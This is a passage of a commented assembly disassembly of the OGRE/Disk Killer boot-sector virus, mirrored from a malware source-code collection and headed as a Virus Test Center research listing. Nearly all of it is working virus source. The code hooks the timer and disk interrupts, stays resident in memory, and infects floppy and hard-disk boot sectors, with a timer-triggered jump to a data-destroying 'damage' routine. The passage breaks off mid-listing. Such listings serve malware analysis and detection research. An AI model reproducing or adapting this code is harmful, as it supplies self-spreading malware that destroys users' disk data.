mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1272 lines
58 KiB
NASM
1272 lines
58 KiB
NASM
|
||
PAGE 65,130
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Û Û ÛÛÛÛÛ ÛÛÛÛ Virus Test Center ÛÛ
|
||
;ÛÛ Û Û Û Û Universit„t Hamburg ÛÛ
|
||
;ÛÛ Û Û Û Û Schl<68>terstr. 70 ÛÛ
|
||
;ÛÛ ÛÛ Û ÛÛÛÛ 2000 Hamburg 13 ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ This listing is only given to other computer virus researchers, who ÛÛ
|
||
;ÛÛ are deemed trustworthy, and then, only for the sake of crosschecking.ÛÛ
|
||
;ÛÛ If you are not one of those, you have illegally obtained this copy. ÛÛ
|
||
;ÛÛ Be warned that distributing viruses is illegal under the laws of manyÛÛ
|
||
;ÛÛ countries. ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ OGRE/Disk Killer virus ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Disassembled: Jan-90 ÛÛ
|
||
;ÛÛ by: Morton Swimmer ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Virus type: Boot sector ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
seg_0 segment at 0
|
||
org 20h
|
||
int8_vector dd ?
|
||
org 24h
|
||
int9_vector dd ?
|
||
org 4Ch
|
||
int13_vector dd ?
|
||
org 204h
|
||
int81_vector dd ?
|
||
org 208h
|
||
int82_vector dd ?
|
||
org 20ch
|
||
int83_vector dd ?
|
||
|
||
org 0413h
|
||
mem_avail dw ?
|
||
|
||
seg_0 ends
|
||
|
||
ID_word equ 3CCBh ; (seg_a:3CCB=0)
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 0
|
||
|
||
ogre proc far
|
||
|
||
start:
|
||
cli ; Disable interrupts
|
||
jmp short loc_2 ; (0052)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; Boot Record Parameters
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
disk_info equ this byte
|
||
system_ID db 'MSDOS3.3' ; system ID
|
||
BytesPerSector dw offset entry ; bytes/sector
|
||
SectorsPerCluster db 2 ; sectors/cluster
|
||
ReservedSectors dw 1 ; # of reserved sectors
|
||
FATcopies db 2 ; # of FAT copies
|
||
RootDirEntries dw 70h ; # of root dir entries
|
||
SectorsPerDisk dw 2D0h ; sectors/disk
|
||
db 0FDh ; format ID
|
||
SectorsPerFAT dw 2 ; sectors/FAT
|
||
SectorsPerTrack dw 9 ; sectors/Track
|
||
DiskHeads dw 2 ; # of heads
|
||
SpecialResSectors db 0 ; # of special reserved sectors
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; Data
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
db 18 dup (0)
|
||
db 12h, 0, 0, 0, 0, 1, 0
|
||
db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh, 0, 0
|
||
ogre_ID dw ID_word ;(003E) virus ID
|
||
original_bs dw 48h ; sector # of original bootsector
|
||
; (DOS notation)
|
||
virus_body dd 00000044h ; position of virus body on
|
||
; disk in DOS convention
|
||
_virus_body dd 00000010h ; work copy
|
||
drive db 0
|
||
|
||
db 55h, 0, 0, 0, 0, 55h, 55h
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; more code
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
loc_2:
|
||
mov ax,cs:mem_avail ; BIOS: memory available variable
|
||
mov cl,6
|
||
shl ax,cl ; Shift w/zeros fill
|
||
mov ds,ax
|
||
cmp ogre_ID,ID_word ; is the virus already in memory?
|
||
jne loc_3 ; Jump if not equal
|
||
push ds
|
||
lea ax,cs:resident_entry
|
||
push ax
|
||
sti ; Enable interrupts
|
||
retf ; jump into the resident virus
|
||
|
||
loc_3: ; set segment registers
|
||
mov ax,7C00h
|
||
mov cl,4
|
||
shr ax,cl ; Shift w/zeros fill
|
||
mov cx,cs
|
||
add ax,cx
|
||
mov ds,ax
|
||
mov es,ax ; es = ds = (7C00>>4) + cs
|
||
; = segment beginning with the virus
|
||
mov ss,cx ; ss = (7C00>>4)
|
||
mov sp,0F000h
|
||
|
||
; Load rest of virus into
|
||
; memory behind present position
|
||
sti ; Enable interrupts
|
||
mov drive,dl
|
||
mov cx,4
|
||
mov bx,BytesPerSector ; = 200h (usually)
|
||
|
||
mov ax,word ptr virus_body ; _virus_body := virus_body
|
||
mov word ptr _virus_body,ax
|
||
mov dx,word ptr virus_body[2]
|
||
mov word ptr _virus_body[2],dx
|
||
|
||
locloop_4:
|
||
push cx
|
||
call conv_notation ; (00F4) convert DOS to BIOS notation
|
||
mov cx,3
|
||
|
||
locloop_5:
|
||
push cx
|
||
mov al,1
|
||
call rd_sector ; (0143)
|
||
pop cx
|
||
jnc loc_6 ; Jump if carry=0
|
||
mov ah,0
|
||
int 13h ; Disk dl=drive #: ah=func a0h
|
||
; reset disk, al=return status
|
||
loop locloop_5 ; Loop if cx > 0
|
||
|
||
int 18h ; ROM basic
|
||
loc_6:
|
||
call inc_sector ; (00E6)
|
||
mov ax,word ptr _virus_body
|
||
mov dx,word ptr _virus_body[2]
|
||
add bx,BytesPerSector ; (seg_a:000B=200h)
|
||
pop cx
|
||
loop locloop_4 ; Loop if cx > 0
|
||
|
||
; reserve 8 pages of memory
|
||
; for the virus at top of memory
|
||
mov ax,cs:mem_avail ; BIOS: Memory available
|
||
sub ax,8
|
||
mov cs:mem_avail,ax ; BIOS: Memory available
|
||
mov cl,6
|
||
shl ax,cl ; Shift w/zeros fill
|
||
mov es,ax ; es := mem_avail<<6
|
||
; = new location for virus
|
||
; copy virus to top of memory
|
||
mov si,0
|
||
mov di,0
|
||
mov cx,0A00h
|
||
cld ; Clear direction
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
|
||
push es
|
||
mov ax,BytesPerSector ; (seg_a:000B=200h)
|
||
push ax
|
||
retf ; long jump to entry
|
||
|
||
ogre endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; inc_sector SUBROUTINE(00E6)
|
||
; increment the sector number in _virus_body (DOS notation)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
inc_sector proc near
|
||
mov ax,word ptr _virus_body ; (seg_a:0046)
|
||
inc ax
|
||
mov word ptr _virus_body,ax ; (seg_a:0046)
|
||
jnc loc_ret_7 ; Jump if carry=0
|
||
inc word ptr _virus_body[2] ; (seg_a:0048=0)
|
||
|
||
loc_ret_7:
|
||
retn
|
||
inc_sector endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; conv_notation SUBROUTINE(00f4)
|
||
;
|
||
; Covert from DOS sector notation to BIOS sector/head/track notation
|
||
;
|
||
; input: the DOS sector number to convert in dx:ax
|
||
;
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
conv_notation proc near
|
||
div SectorsPerTrack ; ax,dxrem=dx:ax/data
|
||
inc dl
|
||
mov sector,dl
|
||
xor dx,dx ; Zero register
|
||
div DiskHeads ; ax,dxrem=dx:ax/data
|
||
mov head,dl
|
||
mov track,ax
|
||
retn
|
||
conv_notation endp
|
||
|
||
db 0A1h, 41h, 1
|
||
db 8Bh, 0Eh, 1Ah, 0, 0F7h, 0E1h
|
||
db 2, 6, 3Fh, 1, 80h, 0D4h
|
||
db 0, 8Bh, 0Eh, 18h, 0, 0F7h
|
||
db 0E1h, 8Ah, 0Eh, 40h, 1, 0FEh
|
||
db 0C9h, 2, 0C1h, 80h, 0D4h, 0
|
||
db 83h, 0D2h, 0, 0A3h, 46h, 0
|
||
db 0A3h, 42h, 0, 89h, 16h, 48h
|
||
db 0, 89h, 16h, 44h, 0, 0C3h
|
||
head db 0 ;(013f)
|
||
sector db 1 ;(0140)
|
||
track dw 4 ;(0141)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; rd_sector, wr_sector, direct_int13 SUBROUTINEs(00E6)
|
||
;
|
||
; read or write a sector using BIOS notation with data in
|
||
; track, sector, head, drive variables
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
;
|
||
; read a sector
|
||
|
||
rd_sector proc near
|
||
mov ah,2 ; READ
|
||
jmp short direct_int13
|
||
|
||
;ßßßß External Entry into Subroutine ßßß
|
||
;
|
||
; write a sector
|
||
|
||
wr_sector:
|
||
mov ah,3 ; WRITE
|
||
jmp short direct_int13
|
||
|
||
;ßßßß External Entry into Subroutine ßßß
|
||
;
|
||
; do whatever is in AH
|
||
|
||
direct_int13:
|
||
mov dx,track ; (seg_a:0141)
|
||
mov cl,6
|
||
shl dh,cl ; Shift w/zeros fill
|
||
or dh,sector ; (seg_a:0140)
|
||
mov cx,dx
|
||
xchg ch,cl ; ch = (HIBYTE(track)<<6)||sector
|
||
mov dl,drive ; (seg_a:004A)
|
||
mov dh,head ; (seg_a:013F)
|
||
int 13h ; Disk dl=drive #, dh=head #
|
||
; upper 2 bits of cl and ch = track #
|
||
; lower 6 bits of cl = sector #
|
||
; es:bx read buffer
|
||
; ah=function (2 or 3), al=sectors to read
|
||
; BIOS disk routines, al=return status
|
||
org $-1
|
||
code_patch equ this byte ; code patch to avoid problems
|
||
org $+1 ; later when int 13 is replaced
|
||
; with our own routine
|
||
retn
|
||
rd_sector endp
|
||
|
||
db 0
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(0167)
|
||
;
|
||
; N.B.: bx = offset buffer_area on entry (always)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
rd_bootsector proc near
|
||
test drive,80h ; check if hard disk
|
||
jz rd_FDbootsector ; Jump if no hard disk
|
||
call rd_FDbootsector
|
||
jc loc_14 ; error exit
|
||
|
||
push bx
|
||
mov cx,4
|
||
mov bx,1BEh
|
||
|
||
locloop_9: ; ??????
|
||
mov ah,buffer_area[bx]
|
||
cmp ah,80h
|
||
je loc_10 ; Jump if equal
|
||
add bx,10h
|
||
loop locloop_9 ; Loop if cx > 0
|
||
|
||
mov marker1,0FFh ; (seg_a:01F3)
|
||
;* nop
|
||
jmp short loc_14 ; error exit
|
||
nop
|
||
loc_10:
|
||
mov dl,drive ; (seg_a:004A)
|
||
mov _drive,dl ; (seg_a:01F4)
|
||
mov ax,word ptr buffer_area[bx+1] ; (seg_a:08A3)
|
||
and ah,3Fh ; 00111111
|
||
mov _head_sector,ax ; (seg_a:01F5)
|
||
mov ah,byte ptr buffer_area[bx+2] ; (seg_a:08A4)
|
||
mov cl,6
|
||
shr ah,cl ; Shift w/zeros fill
|
||
mov al,byte ptr buffer_area[bx+3] ; (seg_a:08A5)
|
||
mov _track,ax ; (seg_a:01F7)
|
||
mov marker1,55h ; (seg_a:01F3)
|
||
;* nop
|
||
pop bx
|
||
mov ax,_track ; (seg_a:01F7)
|
||
mov track,ax ; (seg_a:0141)
|
||
mov ax,_head_sector ; (seg_a:01F5)
|
||
mov word ptr head,ax ; (seg_a:013F) head and sector
|
||
jmp short loc_12 ; read the sector
|
||
nop
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
;
|
||
|
||
rd_FDbootsector:
|
||
mov ax,0
|
||
mov track,ax ; track=0
|
||
inc ah
|
||
mov word ptr head,ax ; => head=0, sector=1
|
||
; => boot sector
|
||
|
||
loc_12: ; read sector in track/head/sector/drive
|
||
; N.B.: we get here two ways
|
||
mov cx,3
|
||
mov al,1
|
||
|
||
locloop_13:
|
||
push cx
|
||
call rd_sector ; read sector to bx
|
||
pop cx
|
||
jnc loc_15 ; Jump if carry=0 (normal exit)
|
||
|
||
mov ah,0
|
||
int 83h ; reset disk
|
||
loop locloop_13 ; Loop if cx > 0
|
||
|
||
loc_14:
|
||
stc ; Set carry flag
|
||
retn ; error exit
|
||
loc_15:
|
||
clc ; Clear carry flag
|
||
retn ; normal exit
|
||
rd_bootsector endp
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; Data
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
|
||
db 7 dup (0)
|
||
counter_lo dw 0 ; for int 8 (timer interrupt)
|
||
counter_hi db 0 ; for int 8 (timer interrupt)
|
||
marker1 db 0 ; some sort of marker1?
|
||
_drive db 80h
|
||
_head_sector dw 101h
|
||
_track dw 0
|
||
end_of_bs equ this byte
|
||
db 0, 0, 0, 0, 0
|
||
db 55h, 0AAh ; normal end of bs ID
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
entry:
|
||
cli ; Disable interrupts
|
||
mov byte ptr cs:code_patch,83h ; (seg_a:0164=13h)
|
||
xor ax,ax ; Zero register
|
||
mov ds,ax
|
||
|
||
; int 8 -> int 81
|
||
mov ax, word ptr ds:int8_vector ; (0000:0020)
|
||
mov word ptr ds:int81_vector,ax ; (0000:0204=0)
|
||
mov ax,word ptr ds:int8_vector[2] ; (0000:0022)
|
||
mov word ptr ds:int81_vector[2],ax ; (0000:0206=0)
|
||
|
||
; int 13 -> int 83
|
||
mov ax,word ptr ds:int13_vector ; (0000:004C=1DB1h)
|
||
mov word ptr ds:int83_vector,ax ; (0000:020C=0)
|
||
mov ax,word ptr ds:int13_vector[2] ; (0000:004E=70h)
|
||
mov word ptr ds:int83_vector[2],ax ; (0000:020E=0)
|
||
|
||
; hook int 8
|
||
mov ax,offset int_8_entry
|
||
mov word ptr ds:int8_vector,ax
|
||
|
||
; hook int 13
|
||
mov ax,offset int_13_entry
|
||
mov word ptr ds:int13_vector,ax
|
||
|
||
mov ax,cs
|
||
mov word ptr ds:int8_vector[2],ax
|
||
mov word ptr ds:int13_vector[2],ax
|
||
|
||
sti ; Enable interrupts
|
||
jmp short loc_16
|
||
nop
|
||
|
||
; entry point into
|
||
; virus if it is
|
||
; already in memory
|
||
resident_entry: xor ax,ax ; Zero register
|
||
mov ds,ax
|
||
mov ax,cs
|
||
mov es,ax
|
||
mov si,7C03h
|
||
mov di,3
|
||
mov cx,47h
|
||
cld ; Clear direction
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
loc_16:
|
||
xor ax,ax ; Zero register
|
||
mov es,ax
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov ax,original_bs ; (seg_a:0040=48h)
|
||
xor dx,dx ; Zero register
|
||
call conv_notation
|
||
mov bx,7C00h
|
||
mov cx,3
|
||
|
||
locloop_17:
|
||
push cx
|
||
mov al,1
|
||
call rd_sector
|
||
jnc loc_18 ; Jump if carry=0
|
||
mov ah,0
|
||
int 83h
|
||
pop cx
|
||
loop locloop_17 ; Loop if cx > 0
|
||
|
||
int 18h ; ROM basic
|
||
loc_18:
|
||
; jmp far ptr [0000:7C00h]
|
||
db 0eah, 0, 7ch, 0, 0
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point for Timer Interrupt
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_8_entry:
|
||
inc cs:counter_lo ; (seg_a:01F0=0)
|
||
jnz loc_19 ; Jump if not zero
|
||
inc cs:counter_hi ; (seg_a:01F2=0)
|
||
loc_19:
|
||
int 81h
|
||
iret ; Interrupt return
|
||
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point for Keyboard Interrupt
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_9_entry:
|
||
int 82h
|
||
retf 2 ; Return far
|
||
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point for BIOS Disk Services
|
||
;
|
||
; capture all reads from disk
|
||
;
|
||
; if (function == READ)
|
||
; AND (counter_lo > 0) # within a 20.71 hour period
|
||
; AND (counter_hi = 30h) # after 993.96 hours (41 days)
|
||
; then damage!
|
||
;
|
||
;
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_13_entry:
|
||
sti ; Enable interrupts
|
||
cmp ah,2 ; READ SECTOR
|
||
jne int_13_exit ; Jump if not equal
|
||
cmp cs:counter_lo,0 ; (seg_a:01F0)
|
||
jbe loc_20 ; Jump if below or =
|
||
cmp cs:counter_hi,30h ; (seg_a:01F2)
|
||
jne loc_20 ; Jump if not equal
|
||
jmp damage ; (05C2) let's have some fun
|
||
loc_20:
|
||
test dl,80h ; is drive a hard disk
|
||
jnz loc_22 ; Jump if hard disk (bit 7 set)
|
||
|
||
test cl,0C0h ; are the 2 high bit set: good sign the media is wierd
|
||
jnz int_13_exit ; Jump if not zero: leave
|
||
cmp ch,0
|
||
jne int_13_exit ; Jump if not equal: leave
|
||
cmp dh,0
|
||
je loc_23 ; Jump if equal
|
||
int_13_exit:
|
||
jmp _int_13_exit ; (034A) vamoush
|
||
|
||
; drive is hard disk!
|
||
loc_22:
|
||
test cs:marker1,0AAh ; BS was probably source of
|
||
; of virus, else was just
|
||
; infected.
|
||
jz loc_23 ; Jump if zero
|
||
|
||
; does data match with
|
||
; source of virus?
|
||
|
||
cmp dl,cs:_drive ; (seg_a:01F4)
|
||
jne int_13_exit ; Jump if not equal: leave
|
||
cmp dh,byte ptr cs:_head_sector ; (seg_a:01F5)
|
||
jne int_13_exit ; Jump if not equal: leave
|
||
cmp ch,byte ptr cs:_track ; (seg_a:01F7)
|
||
jne int_13_exit ; Jump if not equal: leave
|
||
dec cs:counter2 ; (seg_a:034F)
|
||
jnz int_13_exit ; Jump if not zero: leave
|
||
mov cs:marker2,0FFh ; mark HD
|
||
nop
|
||
; HD or FD drive:
|
||
; lets get down to the
|
||
; nitty-gritty
|
||
loc_23:
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push si
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax ; es = ds = cs
|
||
|
||
cmp byte ptr marker2,0FFh
|
||
jne loc_24 ; Jump if not equal
|
||
|
||
call update_bs_data ; (0352)
|
||
jc loc_27 ; Jump if carry Set
|
||
jmp short loc_28 ; (0343)
|
||
nop
|
||
; it was a FD
|
||
|
||
loc_24: ; load the BS
|
||
mov drive,dl ; (seg_a:004A)
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call rd_bootsector ; (0167)
|
||
jc loc_27 ; Jump if error
|
||
|
||
mov ax,[bx][offset ogre_ID]
|
||
nop ;*Fixup for MASM (M)
|
||
cmp ax,ID_word ; is BS infected?
|
||
jne loc_25 ; Jump if not equal
|
||
|
||
test drive,80h ; (seg_a:004A)
|
||
jz loc_28 ; Jump if zero
|
||
mov marker1,0AAh ; (seg_a:01F3)
|
||
jmp short loc_28
|
||
nop
|
||
loc_25: ; infect a FD
|
||
call cp_boot_record ; copy the boot record to
|
||
|
||
test drive,80h ; (seg_a:004A)
|
||
jnz loc_26 ; Jump if not zero
|
||
call infect_FD ; (04A8)
|
||
jc loc_27 ; Jump if carry Set
|
||
jmp short loc_28
|
||
nop
|
||
loc_26: ; infect a HD
|
||
call infect_HD
|
||
jc loc_27 ; Jump if error
|
||
loc_27:
|
||
nop
|
||
loc_28:
|
||
pop si
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
_int_13_exit:
|
||
int 83h
|
||
retf 2 ; Return far
|
||
|
||
counter2 db 1 ; could this be some sort of counter?
|
||
marker2 db 0 ; is disk HD or FD
|
||
marker3 db 0
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(0352)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
update_bs_data proc near
|
||
mov counter2,10h ; (seg_a:034F)
|
||
mov marker2,0 ; (seg_a:0350)
|
||
mov drive,dl ; (seg_a:004A)
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call rd_bootsector
|
||
cmp word ptr [bx][offset ogre_ID],ID_word
|
||
nop ;*Fixup for MASM (M)
|
||
je loc_30 ; Jump if equal
|
||
mov marker1,0 ; (seg_a:01F3)
|
||
retn
|
||
loc_30:
|
||
cmp marker3,77h ; (seg_a:0351=0)
|
||
je loc_31 ; Jump if equal
|
||
mov ax,[bx][offset counter_lo]
|
||
add counter_lo,ax ; (seg_a:01F0=0)
|
||
mov al,counter_hi ; (seg_a:01F2=0)
|
||
adc counter_hi,al ; (seg_a:01F2=0)
|
||
mov marker3,77h ; (seg_a:0351=0)
|
||
loc_31:
|
||
mov ax,counter_lo
|
||
mov [bx][offset counter_lo],ax
|
||
mov al,counter_hi
|
||
mov [bx][offset counter_hi],al
|
||
mov ax,[bx][offset _head_sector]
|
||
mov word ptr head,ax
|
||
mov ax,[bx][offset _track]
|
||
mov track,ax
|
||
mov al,1
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call wr_sector
|
||
mov marker1,0AAh ; (seg_a:01F3)
|
||
retn
|
||
update_bs_data endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(03BB)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
infect_HD proc near
|
||
mov ax,word ptr SpecialResSectors ; (seg_a:001C=0)
|
||
cmp ax,5
|
||
jbe loc_32 ; Jump if below or =
|
||
dec ax
|
||
xor dx,dx ; Zero register
|
||
mov original_bs,ax ; (seg_a:0040)
|
||
call conv_notation
|
||
mov al,1
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call wr_sector ; (0147)
|
||
jc loc_32 ; Jump if carry Set
|
||
mov ax,original_bs ; (seg_a:0040)
|
||
xor dx,dx ; Zero register
|
||
sub ax,4
|
||
call wr_virus_body ; (03F6)
|
||
jc loc_32 ; Jump if carry Set
|
||
call replace_bs ; (052D)
|
||
jc loc_32 ; Jump if carry Set
|
||
mov marker1,0AAh ; (seg_a:01F3)
|
||
clc ; Clear carry flag
|
||
retn
|
||
loc_32:
|
||
stc ; Set carry flag
|
||
retn
|
||
infect_HD endp
|
||
|
||
last_data_cluster dw 162h ; last cluster available on disk
|
||
free_clusters db 3
|
||
required_clusters db 3
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; wr_virus_body SUBROUTINE(03F6)
|
||
;
|
||
; write the virus body to the sector pointed to by dx:ax
|
||
; input: dx:ax
|
||
